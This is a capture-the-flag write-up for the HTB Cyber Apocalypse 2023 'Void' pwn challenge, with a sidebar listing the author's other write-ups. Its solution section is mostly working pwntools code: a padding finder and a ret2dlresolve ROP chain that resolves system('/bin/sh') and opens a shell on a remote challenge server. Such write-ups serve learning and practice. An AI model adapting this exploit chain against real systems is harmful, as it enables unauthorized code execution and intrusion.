📖
CTF Wiki
  • 🚩Arne's CTF Writeups!
  • 2025
    • TUCTF
      • Forensics - Security Rocks
    • San Diego CTF
      • Crypto - RustSA
      • Misc - Triglot
  • 2024
    • Lexington CTF
      • Misc - a little bit of tomcroppery
    • Imaginary CTF
      • Web - Journal
    • Space Heroes CTF
      • Web - Antikythera
    • HTB Cyber Apocalypse
      • Pwn - Sound of Silence
      • Misc - MultiDigilingual
  • 2023
    • NahamConCTF
      • Mobile - Red Light Green Light
    • BucketCTF
      • Rev - Schematic
      • Rev - Random security
    • HTB Cyber Apocalypse
      • Rev - Cave System
      • Rev - Somewhat Linear
      • Pwn - Void
  • 2022
    • DownUnderCTF 2022
      • Cloud - Jimmy Builds a Kite
    • Ã¥ngstromCTF 2022
      • Pwn - really obnoxious problem
      • Pwn - whatsmyname
    • Engineer CTF
      • Misc - Not really random
      • Misc - Broken Pieces
    • KnightCTF 2022
    • HTB CTF: Dirty Money
      • Forensics - Perseverance
  • 2021
    • MetaCTF CyberGames 2021
    • HTB - Cyber Santa
      • RE - Infiltration
    • Securebug CTF Thor 2021
      • Web - Tricks 1
      • Web - Tricks 2
      • RE - Hidden in Plain Sight
    • TFC CTF 2021
      • RE - Crackity
      • Pwn - Jumpy
      • Misc - Weird Friend
    • K3RN3L CTF 2021
      • Crypto - Pascal RSA
    • DamCTF 2021
      • Misc - library-of-babel
      • Pwn - cookie-monster
    • Killer Queen CTF 2021
      • Pwn - Tweety Birb
      • Forensics - Tippy Tappies
      • Pwn - I want to break free
    • BuckeyeCTF 2021
      • Web - pay2win
      • Misc - USB Exfiltration
Powered by GitBook
On this page
  • Description
  • Downloads
  • Solution
  1. 2023
  2. HTB Cyber Apocalypse

Pwn - Void

Medium

Last updated 1 year ago

Description

The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.

Downloads

Solution

The binary is very simple with a vuln() function that has a clear stack buffer overflow.

Looking at the GOT, there is only read available.

  1. With no win function anywhere

  2. No method like puts to leak a libc address

  3. Relatively big space to hold a payload (read(0, buf, 200))

It suggest that we'll need to do a Ret2dlresolve ROP chain.

Firstly, the code to find the padding needed to control rip.

from pwn import *

binary = context.binary = ELF("./void")

p = process(binary.path)
p.sendline(cyclic(1024, n=8))
p.wait()
core = p.corefile
p.close
os.remove(core.file.name)
padding = cyclic_find(core.read(core.rsp, 8), n=8)
log.info('Padding: ' + str(padding) + " (" + hex(padding) + ")")

We find the padding needed to be 72 bytes. We then, proceed with creating the dlresolve ROP chain using pwntools. While the concept is not so straight-forward, the exploit is very easily written with pwntools. The entire exploit code is as simple as such:

from pwn import *

binary = context.binary = ELF("./void")

rop = ROP(binary)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(binary, symbol='system', args=['/bin/sh'])

rop.raw('A' * 72)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

# send payload
p = remote("178.62.64.13", 30663)

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Flag: HTB{r3s0lv3_th3_d4rkn355}

865KB
pwn_void.zip
archive
checksec output
GOT